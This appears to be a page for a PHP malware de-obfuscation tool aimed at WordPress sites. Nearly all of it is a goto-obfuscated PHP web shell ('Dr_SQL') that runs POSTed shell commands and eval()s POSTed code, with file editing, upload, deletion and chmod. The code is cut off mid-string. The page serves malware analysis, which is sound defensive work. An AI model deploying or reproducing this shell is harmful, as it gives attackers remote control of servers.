De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php goto qjNbE; tdrGq: if (!($_POST["\x61\143\x74\151\157\x6e"] === "\155\x6b\x64\x69\162" && !empty($_POST["\x6e\x61\155\145"]))) { goto MTa6c; } goto YRlZM; C5fGf: $aNYUQ = urldecode($_GET["\144"]); goto JPPA9; gkk2K: @system($_POST["\x63\155\x64"]); goto JuN30; oD_gi: $HHTTg = ''; goto xC2U6; dKhai: $xUG22 = "\77\144\75{$uM10d}"; goto IlOzc; e2ibZ: if (is_dir($AEGCe)) { goto DsWuU; } goto aZgpP; f4Q2b: if (!empty($_GET["\142\66\x34"])) { goto PYPGG; } goto c06Eu; taN4u: $B26Vm = !ctype_print(str_replace(["\xd", "\xa", "\11"], '', substr($rya2e, 0, 1000))); goto RPIlI; hkpF4: if (!(realpath($npEaf) && is_file($npEaf))) { goto IqZh1; } goto JSW82; w7l53: $VYsrf = basename(__FILE__); goto z7dc2; fgDtY: $xdFsO = htmlspecialchars($VYsrf); goto V0WmA; NidX1: fxZFe: goto ZmjHW; b_ndV: $xdFsO = htmlspecialchars($VYsrf); goto r2E7R; dxrI1: $ho70p = $_POST["\143\157\x64\x65"]; goto E4xFJ; iWcyt: if (!isset($_GET["\x64"])) { goto MXJEi; } goto dEI3y; xt6Ul: $uM10d = urlencode($CrCGH); goto dKhai; itN0_: $UmiPm = htmlspecialchars($UmiPm, ENT_SUBSTITUTE, "\x55\124\106\x2d\70"); goto YcD7H; BsmoW: foreach ($q2bj_ as $m8mCP) { goto s3TTT; lm233: $njFT_ = $WT0AV ? "\x64\145\x6c\x65\164\x65\137\144\x69\x72" : "\144\x65\x6c\145\164\x65\x5f\x66\x69\x6c\145"; goto R6eeX; SoErd: $UrxBW = $y6hZO ? $y6hZO["\156\141\155\145"] : "\x3f\77\77"; goto LfCUf; p16IM: $eB_VE = is_writable($m8mCP) ? "\160\145\x72\155\55\167\x72\x69\x74\141\142\x6c\145" : (is_readable($m8mCP) ? "\x70\x65\x72\155\x2d\162\145\141\144\141\x62\x6c\x65" : "\x70\145\162\x6d\x2d\x6c\157\x63\x6b\145\x64"); goto Y6_Bj; fKlXx: if ($WT0AV) { goto vpsLp; } goto pBqao; zeevR: $ydtXj = uc4yI($m8mCP, $WT0AV, $zwVmY); goto V5vNT; HlELs: echo "\x3c\x69\156\160\x75\164\x20\164\171\x70\145\x3d\42\150\x69\144\144\145\x6e\x22\40\156\x61\x6d\x65\x3d\42\141\143\x74\x69\x6f\156\42\x20\x76\x61\x6c\165\145\x3d\x22\x63\x68\x6d\157\144\x22\76"; goto JqAn_; xwc9O: vgofU: goto faydA; FfrZS: $gG4E4 = "\x3f\170\x3d\166\x69\145\167\x26\146\75{$bgSgO}\46\x64\x3d" . urlencode($CrCGH) . "\x26\x62\66\64\x3d\x31"; goto bV7BV; LfCUf: fqLA_: goto fKlXx; s3TTT: $L0JnN = $CrCGH . DIRECTORY_SEPARATOR . $m8mCP; goto laWYG; pBqao: $bgSgO = base64_encode($m8mCP); goto HLyRJ; b0jnT: $t0nkO = $WT0AV ? "\x2d" : number_format(filesize($m8mCP)); goto tNibS; qIYik: $A8MNo = "\x20\74\x61\x20\150\162\x65\x66\x3d\x22{$gG4E4}\x22\x20\x63\154\141\x73\x73\75\x22\142\164\156\x22\x3e\126\151\145\x77\74\x2f\x61\76"; goto JjPxq; O8aJ6: echo "\x3c\x69\x6e\160\x75\164\x20\164\171\x70\145\75\x22\150\151\x64\144\x65\x6e\x22\40\156\141\x6d\x65\x3d\x22\x61\x63\164\x69\x6f\x6e\42\40\x76\x61\x6c\x75\145\x3d\42\162\145\156\x61\155\x65\x22\76"; goto Giz0z; Sq1lw: echo "\74\x64\x69\x76\x20\x69\x64\x3d\x22\143\150\155\x6f\144\x5f" . urlencode($m8mCP) . "\x22\40\143\x6c\x61\163\x73\x3d\42\160\157\160\x75\x70\x20\150\x69\144\144\145\x6e\42\76"; goto r6irj; JjPxq: goto hGN_z; goto rrO1h; iaJ5d: $KhsWh = $Yv9NJ ? $Yv9NJ["\x6e\x61\155\x65"] : "\77\77\77"; goto SoErd; V0TRu: $Yv9NJ = @posix_getpwuid(@fileowner($m8mCP)); goto FD8Ez; tNibS: $EvdQ7 = substr(sprintf("\x25\157", fileperms($m8mCP)), -4); goto p16IM; bCUUA: hGN_z: goto WGUWV; V5vNT: echo "\74\x74\x72\76"; goto M4lK1; XI7i4: echo "\x3c\164\x64\76{$t0nkO}\74\x2f\x74\x64\x3e"; goto tClbK; R6eeX: $kTk6x = urlencode($L0JnN); goto t9DIY; pLKtE: echo $ZXYTz . $A8MNo; goto BZRpn; vjF5i: echo "\74\164\x64\76"; goto lVbBI; tClbK: echo "\74\x74\x64\x3e\x3c\x73\x70\x61\156\40\143\x6c\141\x73\x73\x3d\x22{$eB_VE}\42\76{$EvdQ7}\74\x2f\163\160\x61\x6e\76\x3c\57\x74\144\x3e"; goto wmFw5; bV7BV: $ZXYTz = "\x3c\141\x20\x68\x72\x65\146\75\x22{$vOVbH}\42\x20\x63\154\x61\163\x73\75\42\142\x74\156\42\x3e\105\144\151\x74\74\57\x61\76"; goto qIYik; K4X7p: echo "\74\151\156\160\165\x74\x20\x74\x79\x70\145\75\x22\164\x65\x78\164\42\x20\x6e\141\155\145\75\x22\155\157\144\x65\x22\40\x76\141\154\x75\x65\x3d\42{$EvdQ7}\42\40\160\154\141\x63\x65\x68\x6f\154\144\145\162\75\42\67\65\65\42\40\x73\164\x79\x6c\145\x3d\42\167\151\x64\164\150\72\x36\60\160\x78\x3b\42\76"; goto WS3J_; pqNWK: echo "\x3c\144\151\166\40\x69\144\75\42\162\145\x6e\x61\x6d\145\137" . urlencode($m8mCP) . "\42\x20\x63\154\x61\163\x73\x3d\x22\160\x6f\x70\165\x70\x20\x68\151\x64\144\x65\156\42\x3e"; goto QW89q; qUO4K: $vOVbH = "\77\144\75" . urlencode($L0JnN); goto oUOIt; zjeR0: echo "\x3c\57\x66\x6f\x72\155\x3e\74\x2f\x64\151\x76\x3e"; goto g3f1n; BZRpn: BwrTf: goto Aib50; f0XQu: echo "\x3c\151\156\160\x75\164\40\164\x79\160\145\x3d\42\164\145\170\x74\x22\40\156\141\x6d\x65\75\x22\156\145\x77\x22\40\x76\x61\154\165\x65\x3d\42" . htmlspecialchars($m8mCP, ENT_QUOTES) . "\x22\40\x73\164\x79\154\145\x3d\x22\167\x69\144\x74\150\x3a\61\x32\x30\160\170\x3b\x22\x3e"; goto psYcp; ObAMg: if (!(function_exists("\160\157\163\x69\x78\137\x67\145\x74\160\167\x75\151\144") && function_exists("\160\157\163\x69\x78\137\x67\x65\x74\147\x72\147\x69\144"))) { goto fqLA_; } goto V0TRu; Rs6QS: echo "\40\74\142\x75\164\x74\x6f\156\x20\164\x79\160\145\75\x22\x62\x75\164\164\157\156\42\x20\157\x6e\143\154\151\x63\x6b\75\x22\x63\154\x6f\x73\145\x50\x6f\x70\x75\160\x28\x27\x72\145\x6e\141\155\145\x5f" . urlencode($m8mCP) . "\x27\x29\x22\76\xe2\234\225\x3c\x2f\142\x75\164\x74\157\x6e\x3e"; goto zjeR0; It9Wn: echo "\x20\x3c\142\165\x74\164\x6f\156\40\x74\171\160\x65\75\42\142\x75\x74\164\x6f\156\42\40\x6f\x6e\x63\x6c\151\143\x6b\75\x22\x63\x6c\157\163\x65\x50\x6f\160\x75\x70\x28\47\143\x68\155\x6f\144\x5f" . urlencode($m8mCP) . "\x27\51\42\76\xe2\x9c\225\x3c\x2f\142\165\x74\x74\157\156\76"; goto tK7yt; laWYG: $WT0AV = is_dir($m8mCP); goto b0jnT; WS3J_: echo "\x20\x3c\142\x75\x74\x74\157\x6e\40\x74\171\x70\x65\x3d\42\x73\165\x62\155\x69\x74\42\x3e\xe2\x9c\x93\x3c\57\x62\165\164\x74\x6f\x6e\76"; goto It9Wn; EWaEc: $A8MNo = ''; goto bCUUA; rrO1h: vpsLp: goto qUO4K; w2YYE: echo "\x3c\57\164\x64\76\x3c\x2f\164\162\x3e"; goto xwc9O; Giz0z: echo "\74\151\x6e\160\x75\x74\40\164\x79\x70\x65\x3d\42\150\151\144\x64\x65\x6e\42\x20\x6e\141\155\x65\75\x22\x6f\154\144\x22\x20\166\x61\x6c\165\145\75\42" . htmlspecialchars($m8mCP, ENT_QUOTES) . "\42\x3e"; goto f0XQu; wmFw5: echo "\74\164\x64\x3e{$KhsWh}\x3a{$UrxBW}\x3c\57\164\144\x3e"; goto vjF5i; QW89q: echo "\x3c\x66\157\x72\155\x20\155\x65\164\x68\x6f\x64\x3d\x22\x50\x4f\x53\x54\x22\x3e"; goto O8aJ6; lVbBI: if ($WT0AV) { goto BwrTf; } goto pLKtE; g3f1n: echo "\x20\74\x61\40\150\x72\x65\x66\75\42\152\x61\x76\141\163\143\162\151\160\x74\x3a\x74\157\x67\x67\x6c\x65\x50\x6f\160\165\160\x28\x27\x63\150\x6d\157\x64\137" . urlencode($m8mCP) . "\47\x29\x22\40\x63\x6c\141\x73\163\x3d\42\142\164\x6e\x22\x3e\x43\x68\155\x6f\144\74\57\x61\76"; goto Sq1lw; Aib50: echo "\x20\74\x61\x20\150\162\x65\x66\75\42\152\x61\166\141\163\x63\162\151\160\164\72\164\157\x67\147\x6c\145\120\x6f\x70\x75\160\50\47\162\145\156\141\x6d\145\x5f" . urlencode($m8mCP) . "\x27\51\x22\40\143\x6c\141\x73\163\x3d\x22\142\164\156\42\76\x52\145\x6e\141\155\x65\x3c\x2f\141\76"; goto pqNWK; WGUWV: $QL5az = htmlspecialchars($m8mCP) . ($WT0AV ? "\57" : ''); goto zeevR; tK7yt: echo "\x3c\x2f\146\157\162\x6d\x3e\74\57\144\151\x76\x3e"; goto lm233; r6irj: echo "\74\x66\x6f\x72\x6d\40\155\145\164\x68\157\144\75\42\x50\x4f\x53\x54\x22\76"; goto HlELs; Y6_Bj: $KhsWh = $UrxBW = "\x3f\x3f\77"; goto ObAMg; FD8Ez: $y6hZO = @posix_getgrgid(@filegroup($m8mCP)); goto iaJ5d; psYcp: echo "\40\x3c\x62\x75\164\x74\x6f\x6e\40\x74\x79\x70\x65\75\42\x73\x75\x62\155\x69\x74\x22\x3e\xe2\234\223\x3c\x2f\x62\165\x74\164\157\x6e\x3e"; goto Rs6QS; M4lK1: echo "\x3c\164\x64\x3e\74\x61\40\x68\162\145\x66\x3d\42{$vOVbH}\x22\40\163\164\171\154\x65\75\42\x63\x6f\154\x6f\x72\72\40{$ydtXj}\73\42\76{$QL5az}\74\57\x61\76\x3c\57\164\144\x3e"; goto XI7i4; t9DIY: echo "\x20\74\x61\x20\x68\x72\145\146\x3d\x22\77\x61\143\x74\151\x6f\x6e\x3d{$njFT_}\46\x70\x61\x74\x68\x3d{$kTk6x}\42\x20\143\x6c\141\163\163\75\42\x62\164\x6e\x22\40\157\156\x63\x6c\151\x63\x6b\x3d\x22\162\x65\x74\x75\x72\x6e\x20\x63\x6f\156\x66\x69\x72\155\x28\x27\104\x65\154\145\164\x65\x3f\x27\x29\42\76\104\145\x6c\x3c\57\x61\76"; goto w2YYE; HLyRJ: $vOVbH = "\x3f\x78\x3d\145\x64\151\x74\x26\146\x3d{$bgSgO}\46\x64\x3d" . urlencode($CrCGH) . "\x26\x62\x36\64\x3d\x31"; goto FfrZS; JqAn_: echo "\x3c\151\x6e\160\x75\164\40\164\x79\160\145\x3d\42\150\x69\144\x64\145\156\x22\x20\156\141\155\145\75\42\160\x61\164\150\x22\40\x76\141\x6c\x75\145\x3d\42" . htmlspecialchars($m8mCP, ENT_QUOTES) . "\x22\76"; goto K4X7p; oUOIt: $ZXYTz = ''; goto EWaEc; faydA: } goto coZlJ; pWeWa: if (!($Hjoi4 = @opendir("\56"))) { goto l3vNN; } goto G_gIE; ynfxC: OMEip: goto YlR9K; LV8iB: if (file_exists($VyUv3)) { goto atHs9; } goto MeGhr; sfa4j: echo "\x3c\57\x66\157\162\x6d\76"; goto l1Xfw; GznRE: natcasesort($Pw4YR); goto KHJbS; Jzm2n: $pGVyT = "\77\x78\x3d\x69\156\146\x6f\46\144\75" . urlencode($CrCGH); goto F2kaK; jouYJ: exit; goto V3OA2; H1KgF: if (!(@file_put_contents($VyUv3, $_POST["\143\157\156\x74\145\x6e\x74"]) !== false)) { goto opTzY; } goto kk3wc; N2E9L: goto bBPqV; goto Miu2c; coZlJ: dgq5y: goto x4yvC; cOshD: DsWuU: goto tyYTU; sD96z: exit; goto NKJ09; T04Kb: bWBpC: goto Z39Qw; HVknY: echo "\x3c\142\162\76\74\x62\x75\164\164\157\x6e\x20\x74\171\x70\x65\x3d\x22\163\165\142\x6d\x69\164\x22\76\xe2\226\266\40\x52\x75\x6e\40\x50\x48\x50\x3c\57\142\165\x74\x74\157\156\76"; goto BKDTB; ODa6l: echo "\x3c\151\156\160\165\x74\x20\x74\x79\x70\x65\75\x22\x74\145\170\164\x22\x20\156\141\x6d\145\75\42\x63\155\x64\42\x20\x70\154\141\143\145\150\157\x6c\144\145\162\x3d\42\105\156\164\145\162\x20\143\157\x6d\x6d\141\156\x64\56\x2e\56\x22\x20\166\141\154\x75\145\x3d\x22" . ($HHTTg ? $HHTTg : '') . "\x22\x20\141\165\x74\157\x66\157\x63\x75\163\x3e"; goto dvLwJ; JPPA9: $aNYUQ = realpath($aNYUQ); goto A3jiz; fwSae: tS1_t: goto fgDtY; qoFW2: echo "\x3c\57\x64\151\166\76"; goto Xohbh; FAmiT: $HHTTg = htmlspecialchars($HHTTg, ENT_QUOTES, "\x55\x54\106\55\x38"); goto y08EG; OLR0k: $vBmAf = false; goto GndcZ; TGacj: rySos: goto f4Q2b; cDMOQ: echo "\74\160\162\145\x3e" . $CY6pb . "\74\57\160\x72\x65\76"; goto t6crN; sW42E: $pGVyT = "\77\170\75\151\156\x66\x6f\x26\144\x3d" . urlencode($CrCGH); goto YXCKk; Hby4o: if (function_exists("\145\x78\x65\143")) { goto ch2TH; } goto J31g1; dEI3y: $UVlkq = urldecode($_GET["\x64"]); goto xNcl9; J6AOC: echo "\74\57\x66\x6f\162\x6d\x3e"; goto b_ndV; Ay8dO: mXR3E: goto IIqv_; FnWFJ: H7LIy: goto kRIPo; KxORr: opTzY: goto HiMab; qjNbE: error_reporting(0); goto kRzve; YlR9K: ob_start(); goto gkk2K; as4QI: if (function_exists("\163\x79\x73\x74\x65\155")) { goto OMEip; } goto oPGvj; xC2U6: if (empty($_POST["\143\x6d\144"])) { goto PTbiD; } goto L0yOR; oPGvj: $CY6pb = "\105\162\162\x6f\162\72\x20\x4e\157\40\143\x6f\x6d\155\141\x6e\144\x20\x65\x78\145\143\x75\x74\151\157\156\40\146\165\156\143\164\151\157\156\163\40\141\x76\141\x69\x6c\141\x62\x6c\x65\56"; goto aoRkq; aoRkq: goto bBPqV; goto X8fwR; L0yOR: $HHTTg = $_POST["\143\155\x64"]; goto DWmgF; OLV0A: $Dvbmt = basename($_FILES["\146\x69\154\145"]["\x6e\141\155\x65"]); goto mMvwZ; jYDeE: IqZh1: goto uyDi0; mtZoU: @chdir($aNYUQ); goto hz8xO; Qyx5W: @rename($_POST["\157\x6c\x64"], $_POST["\156\x65\x77"]); goto T04Kb; vNJJy: echo "\74\144\x69\x76\40\143\x6c\x61\x73\163\75\x22\157\165\x74\160\x75\x74\x2d\142\157\170\42\x3e"; goto G0yUj; RPIlI: if (!$B26Vm) { goto fxZFe; } goto wTvik; YXCKk: echo "\x3c\x70\x20\151\144\x3d\x22\x6d\x65\x6e\x75\42\x3e\xa\74\x73\x70\x61\x6e\40\x69\x64\75\x22\155\145\x6e\x75\x42\x22\x3e\xa\74\74\x61\40\x68\162\x65\146\x3d\42{$xdFsO}\42\76\110\x6f\x6d\145\74\57\141\76\76\xa\x3c\x3c\x61\x20\x68\x72\145\146\x3d\x22{$MCQuF}\42\x3e\103\x6f\155\155\141\156\144\x3c\x2f\x61\x3e\x3e\xa\74\74\x61\x20\x68\x72\145\x66\x3d\42{$hhgcZ}\x22\76\x50\110\120\74\57\x61\76\76\12\74\x3c\x61\x20\150\x72\145\x66\75\x22{$pGVyT}\x22\76\x49\156\x66\157\74\57\x61\x3e\x3e\xa\74\57\x73\160\141\x6e\76\12\74\x2f\x70\x3e\12\74\x73\x63\x72\x69\x70\164\76\xa\144\x6f\143\165\155\x65\x6e\164\56\x61\144\144\x45\166\145\156\x74\114\x69\x73\x74\x65\156\145\x72\x28\47\x44\x4f\115\103\157\156\x74\x65\x6e\164\x4c\157\x61\144\145\x64\x27\54\x20\x28\51\40\x3d\x3e\40\x7b\xa\40\x20\x20\40\143\x6f\x6e\163\x74\40\x6c\151\x6e\x6b\163\x20\x3d\x20\144\x6f\x63\165\x6d\x65\156\x74\x2e\x71\x75\145\x72\x79\x53\x65\x6c\145\143\x74\x6f\x72\x41\154\x6c\50\x27\x23\x6d\145\156\165\102\x20\x61\47\51\x3b\xa\x20\40\40\40\154\151\x6e\153\163\56\146\x6f\x72\x45\141\x63\x68\x28\x6c\x69\x6e\x6b\40\x3d\76\40\173\xa\40\40\x20\x20\x20\x20\40\40\x69\x66\40\x28\167\151\x6e\144\157\x77\56\154\x6f\143\x61\164\151\x6f\156\56\x68\162\145\146\56\151\x6e\x63\154\x75\144\x65\163\x28\154\151\x6e\x6b\56\147\x65\x74\x41\x74\164\162\x69\142\x75\164\x65\x28\x27\150\162\145\146\47\51\x29\x29\x20\x7b\xa\x20\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x6c\x69\x6e\153\56\163\164\171\x6c\145\x2e\x63\157\x6c\x6f\162\40\x3d\x20\x27\x23\143\143\x66\x66\x30\x30\x27\x3b\xa\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x6c\x69\156\x6b\56\163\x74\171\154\145\56\x66\x6f\x6e\164\x57\145\x69\x67\x68\164\40\75\40\47\x62\157\154\x64\47\73\12\x20\x20\x20\x20\x20\x20\x20\x20\x7d\xa\40\40\40\40\175\51\x3b\12\175\51\x3b\xa\74\57\x73\x63\162\151\x70\x74\76"; goto aKLmg; SFNie: MXJEi: goto RHDBe; QaCWM: $rya2e = file_exists($VyUv3) ? htmlspecialchars(file_get_contents($VyUv3), ENT_QUOTES, "\125\124\x46\x2d\x38") : ''; goto Bfzim; e91iq: EGzK3: goto e2TE4; XYAno: $hhgcZ = "\77\x78\75\x70\150\x70\x26\x64\x3d" . urlencode($CrCGH); goto sW42E; Tu4h2: $hhgcZ = "\77\170\x3d\160\150\x70\x26\x64\75" . urlencode($CrCGH); goto Jzm2n; wYMhI: echo "\74\160\40\x69\x64\75\x22\x6d\x65\156\165\x22\76\xa\x3c\163\x70\x61\x6e\40\151\144\x3d\x22\x6d\x65\156\165\x42\x22\76\xa\74\74\141\x20\150\162\145\146\75\42{$xdFsO}\42\x3e\x48\157\x6d\x65\74\x2f\141\x3e\76\12\74\74\x61\40\150\162\x65\146\x3d\42{$MCQuF}\x22\x3e\x43\x6f\x6d\x6d\141\x6e\x64\x3c\57\x61\x3e\x3e\12\74\74\x61\x20\150\x72\x65\146\75\42{$hhgcZ}\42\76\120\x48\120\x3c\57\141\76\76\12\74\x3c\x61\40\150\x72\x65\146\x3d\x22{$pGVyT}\42\x3e\111\x6e\146\x6f\74\57\x61\76\x3e\12\x3c\57\x73\x70\141\156\x3e\xa\x3c\x2f\160\x3e\12\x3c\163\143\162\151\160\x74\x3e\xa\144\x6f\x63\x75\155\145\156\x74\x2e\x61\144\144\x45\166\145\x6e\x74\114\x69\163\x74\145\x6e\145\x72\x28\x27\x44\117\x4d\103\x6f\156\164\145\156\x74\114\157\x61\x64\x65\x64\x27\x2c\x20\x28\51\40\x3d\x3e\40\x7b\12\40\x20\x20\x20\143\x6f\x6e\163\x74\40\154\151\x6e\x6b\x73\x20\x3d\x20\x64\x6f\143\165\155\145\156\x74\56\x71\165\x65\162\x79\x53\x65\154\145\x63\x74\x6f\162\x41\154\154\50\47\43\155\145\156\165\x42\40\x61\x27\x29\x3b\xa\40\40\40\40\154\151\156\x6b\x73\56\146\157\162\105\141\x63\x68\x28\154\151\156\153\x20\x3d\x3e\x20\173\xa\40\x20\40\x20\x20\x20\x20\40\151\x66\40\50\x77\x69\156\144\x6f\x77\56\154\157\143\141\164\x69\x6f\x6e\x2e\150\x72\x65\x66\56\151\x6e\x63\x6c\x75\x64\145\x73\x28\x6c\x69\x6e\x6b\56\x67\145\164\x41\164\x74\162\x69\142\x75\x74\145\50\47\150\162\x65\146\x27\x29\51\51\x20\x7b\xa\40\40\x20\x20\40\40\40\40\x20\40\40\x20\x6c\x69\x6e\x6b\x2e\163\x74\171\154\145\56\x63\x6f\x6c\157\162\40\75\x20\x27\43\143\143\x66\146\60\60\x27\73\12\40\40\40\40\40\40\40\40\40\x20\40\40\x6c\x69\156\153\56\163\x74\171\x6c\145\56\x66\157\x6e\164\127\145\x69\147\150\x74\x20\x3d\40\x27\x62\x6f\154\x64\47\x3b\12\40\x20\x20\x20\40\x20\40\40\175\xa\x20\x20\x20\40\175\51\x3b\xa\x7d\51\73\12\x3c\57\163\143\x72\151\x70\x74\76"; goto FcBks; ZSYrM: $WznnW = "\43\x39\x39\71\x39\x39\71"; goto lS17G; fsSCc: echo "\x20\74\x61\x20\x68\162\145\x66\x3d\42" . $xUG22 . "\x22\40\163\164\x79\154\x65\x3d\x22\x6d\x61\162\147\151\156\55\x6c\145\146\x74\72\61\60\x70\x78\x3b\40\x63\157\x6c\x6f\x72\72\43\67\x39\x61\x33\x31\x37\x3b\x22\76\342\x9d\214\40\x43\141\156\143\145\154\74\57\141\x3e"; goto sfa4j; tyYTU: $muYJG[] = $AEGCe; goto fVKGc; DPmp4: try { eval($ho70p); $UmiPm = ob_get_clean(); } catch (ParseError $tVB18) { $UmiPm = "\x50\x61\162\163\x65\40\x65\x72\x72\157\x72\x3a\40" . $tVB18->getMessage(); ob_end_clean(); } catch (Throwable $tVB18) { $UmiPm = "\105\x72\x72\x6f\x72\72\40" . $tVB18->getMessage(); ob_end_clean(); } goto Bh0n6; NcdxP: $rya2e = file_get_contents($VyUv3); goto taN4u; g213D: echo "\x3c\164\145\x78\164\141\x72\145\x61\40\x6e\x61\x6d\145\75\x22\x63\x6f\156\164\x65\x6e\x74\x22\40\x61\x75\164\157\146\157\x63\x75\163\x3e" . $rya2e . "\74\x2f\x74\145\x78\x74\x61\162\x65\x61\x3e"; goto Tpu0e; l_tMI: $uM10d = urlencode($CrCGH); goto Tn4Fx; Pbcp3: if (!$vBmAf) { goto VKV5M; } goto UAjSA; CiSuD: natcasesort($muYJG); goto GznRE; GndcZ: if (!($_POST["\163\x61\x76\145"] === "\61")) { goto dnxq_; } goto H1KgF; Bh0n6: $ho70p = htmlspecialchars($ho70p, ENT_QUOTES, "\x55\x54\106\x2d\70"); goto itN0_; YRlZM: @mkdir($_POST["\156\141\x6d\145"]); goto LY_W7; Tn4Fx: print "\x3c\x68\x74\155\154\x3e\12\74\x68\x65\x61\144\x3e\12\x20\40\40\x20\74\x74\x69\164\154\145\76\104\162\137\123\x51\x4c\x3c\57\164\x69\164\x6c\145\x3e\xa\x20\40\40\x20\x3c\163\x74\171\154\145\76\12\x20\40\40\40\x20\x20\x20\40\x62\x6f\144\171\x20\x7b\x20\142\x61\x63\153\x67\x72\x6f\165\x6e\x64\x3a\x20{$yQFNJ}\73\x20\x63\x6f\x6c\x6f\162\72\x20{$WznnW}\73\40\146\x6f\156\x74\72\40\x39\x70\164\x20\47\x54\162\x65\x62\165\x63\150\145\164\x20\x4d\x53\47\x2c\40\x73\x61\x6e\163\x2d\163\x65\162\x69\146\x3b\40\x6d\x61\x72\147\x69\x6e\x3a\40\60\73\x20\160\x61\x64\144\x69\x6e\x67\72\x20\x31\x30\160\170\73\x20\x7d\xa\x20\40\x20\x20\x20\40\x20\x20\x61\x20\173\40\143\x6f\x6c\x6f\162\72\x20{$WznnW}\x3b\40\164\145\x78\x74\x2d\144\145\143\x6f\162\141\164\x69\157\x6e\72\40\156\x6f\x6e\145\73\x20\175\12\40\40\40\40\x20\x20\x20\40\x61\72\x68\x6f\166\145\162\x20\x7b\x20\x63\157\154\x6f\x72\x3a\40\43\67\x39\x61\63\x31\67\73\40\x7d\xa\x20\40\40\40\40\x20\40\40\x2e\x68\x65\x61\x64\145\x72\40\173\x20\144\151\x73\x70\x6c\x61\x79\x3a\x20\146\154\x65\x78\73\40\152\165\163\x74\151\x66\x79\55\143\x6f\156\x74\x65\156\x74\x3a\40\x73\160\x61\x63\x65\x2d\x62\145\164\x77\145\145\156\x3b\40\141\x6c\151\x67\x6e\x2d\x69\x74\x65\155\163\72\40\x63\145\x6e\x74\145\x72\73\x20\x6d\141\x72\147\151\x6e\55\x62\157\164\164\157\155\72\40\x31\x35\160\x78\x3b\40\175\12\x20\x20\40\40\x20\40\40\40\x2e\x62\x72\x65\x61\144\x63\x72\x75\155\142\x20\173\40\155\141\162\147\151\x6e\72\40\61\x30\x70\x78\40\60\73\40\x66\x6f\x6e\x74\x2d\x73\151\172\x65\72\40\61\x30\x70\164\x3b\x20\x7d\12\x20\40\40\x20\40\x20\x20\40\56\x62\162\x65\141\144\x63\162\x75\155\142\x20\141\x20\173\40\x63\x6f\154\x6f\162\x3a\x20\x23\67\71\141\x33\x31\67\73\40\x7d\12\40\40\40\40\x20\x20\40\40\56\x61\143\164\151\x6f\156\x73\40\x7b\x20\155\x61\x72\x67\x69\156\72\40\61\65\x70\170\x20\60\73\40\160\x61\144\144\x69\x6e\147\x3a\40\x31\x30\160\170\73\40\x62\141\143\x6b\x67\162\157\165\156\x64\x3a\40\x23\x32\62\62\73\40\142\157\162\x64\x65\x72\x2d\162\141\x64\x69\x75\x73\72\x20\x38\x70\x78\73\x20\x64\151\163\160\154\141\x79\x3a\40\x67\162\x69\144\73\x20\x67\162\x69\144\x2d\164\145\x6d\160\x6c\141\x74\x65\55\x63\x6f\x6c\x75\155\x6e\163\72\40\162\145\160\x65\x61\x74\50\141\x75\164\157\x2d\146\151\164\54\40\x6d\x69\156\x6d\x61\x78\50\x32\x30\x30\x70\x78\54\40\x31\146\162\x29\x29\x3b\40\147\x61\160\72\x20\x31\60\x70\170\x3b\x20\175\xa\x20\40\x20\40\40\40\40\40\56\x61\x63\164\x69\x6f\156\163\x20\146\x6f\x72\x6d\x20\x7b\x20\144\x69\163\160\x6c\141\171\72\40\146\154\x65\170\x3b\x20\147\141\160\x3a\40\65\160\x78\x3b\40\x7d\xa\x20\x20\40\40\40\x20\x20\x20\x2e\141\143\x74\151\x6f\x6e\x73\40\x69\x6e\x70\165\x74\40\173\x20\142\x61\x63\153\x67\162\x6f\x75\156\144\72\x20{$yQFNJ}\73\40\143\157\x6c\157\162\72\40{$WznnW}\x3b\40\x62\157\162\144\x65\162\72\x20\x31\x70\170\40\163\x6f\x6c\x69\144\40{$WznnW}\x3b\40\142\x6f\162\x64\x65\162\55\x72\141\x64\x69\x75\163\x3a\40\x35\x70\170\x3b\40\x70\x61\x64\x64\151\x6e\x67\x3a\40\63\x70\170\x20\x36\x70\x78\73\x20\175\12\x20\x20\40\x20\40\x20\40\x20\56\141\x63\164\x69\x6f\x6e\x73\40\x62\x75\164\x74\157\x6e\40\x7b\40\142\141\143\x6b\x67\162\157\x75\x6e\144\72\40\43\64\64\64\73\x20\x63\x6f\x6c\157\x72\x3a\40\43\67\x39\x61\63\61\x37\x3b\x20\x62\x6f\x72\x64\145\162\72\40\x31\160\x78\40\x73\x6f\154\151\x64\x20\x23\65\65\x35\x3b\40\x62\x6f\x72\144\145\x72\55\x72\x61\x64\x69\x75\x73\x3a\40\x35\x70\x78\73\40\143\165\x72\163\157\162\72\x20\160\157\x69\156\x74\145\x72\73\40\175\xa\x20\x20\40\x20\40\x20\40\40\164\x61\142\154\145\x20\173\x20\x77\151\x64\x74\150\x3a\x20\61\x30\x30\x25\73\x20\x62\x6f\162\144\145\162\55\x63\x6f\x6c\x6c\141\160\163\145\x3a\x20\x63\x6f\x6c\x6c\141\160\x73\x65\x3b\40\x6d\x61\162\x67\151\156\x2d\164\157\160\72\40\x31\x30\160\170\x3b\40\x7d\xa\x20\40\40\x20\40\40\x20\x20\x74\x68\x2c\x20\x74\144\40\x7b\x20\160\141\x64\144\151\x6e\x67\x3a\x20\x38\160\170\x20\x35\x70\x78\73\x20\164\145\170\164\x2d\x61\x6c\151\147\156\x3a\x20\154\x65\146\x74\x3b\40\142\157\162\x64\x65\162\55\142\x6f\164\x74\157\155\72\x20\x31\x70\170\40\x73\x6f\154\x69\x64\x20\43\x34\64\64\x3b\x20\175\12\40\x20\40\x20\x20\x20\x20\40\x74\x68\40\x7b\x20\143\157\x6c\x6f\x72\72\x20\43\67\71\141\63\61\x37\73\x20\146\157\156\164\x2d\x77\145\151\x67\x68\x74\72\40\142\x6f\x6c\x64\73\x20\175\xa\x20\40\40\x20\40\x20\x20\x20\x74\x72\x3a\150\x6f\x76\x65\x72\40\x7b\40\x62\141\x63\x6b\147\x72\157\165\x6e\x64\x3a\x20\162\x67\x62\x61\x28\x31\62\x31\x2c\x31\x36\63\54\x32\x33\54\x30\x2e\60\x35\51\73\40\x7d\12\40\x20\40\40\40\x20\40\x20\56\x62\x74\156\x20\x7b\40\142\141\143\x6b\x67\162\x6f\165\x6e\144\x3a\40\x72\147\x62\x61\x28\60\x2c\x30\54\x30\x2c\x30\x2e\x33\x29\73\x20\143\157\154\x6f\162\x3a\x20{$WznnW}\x3b\x20\x62\157\x72\144\145\x72\72\x20\x31\160\170\x20\x73\157\154\151\144\40{$WznnW}\73\x20\x62\157\x72\x64\x65\x72\55\162\141\144\151\x75\x73\72\40\64\x70\x78\73\x20\160\x61\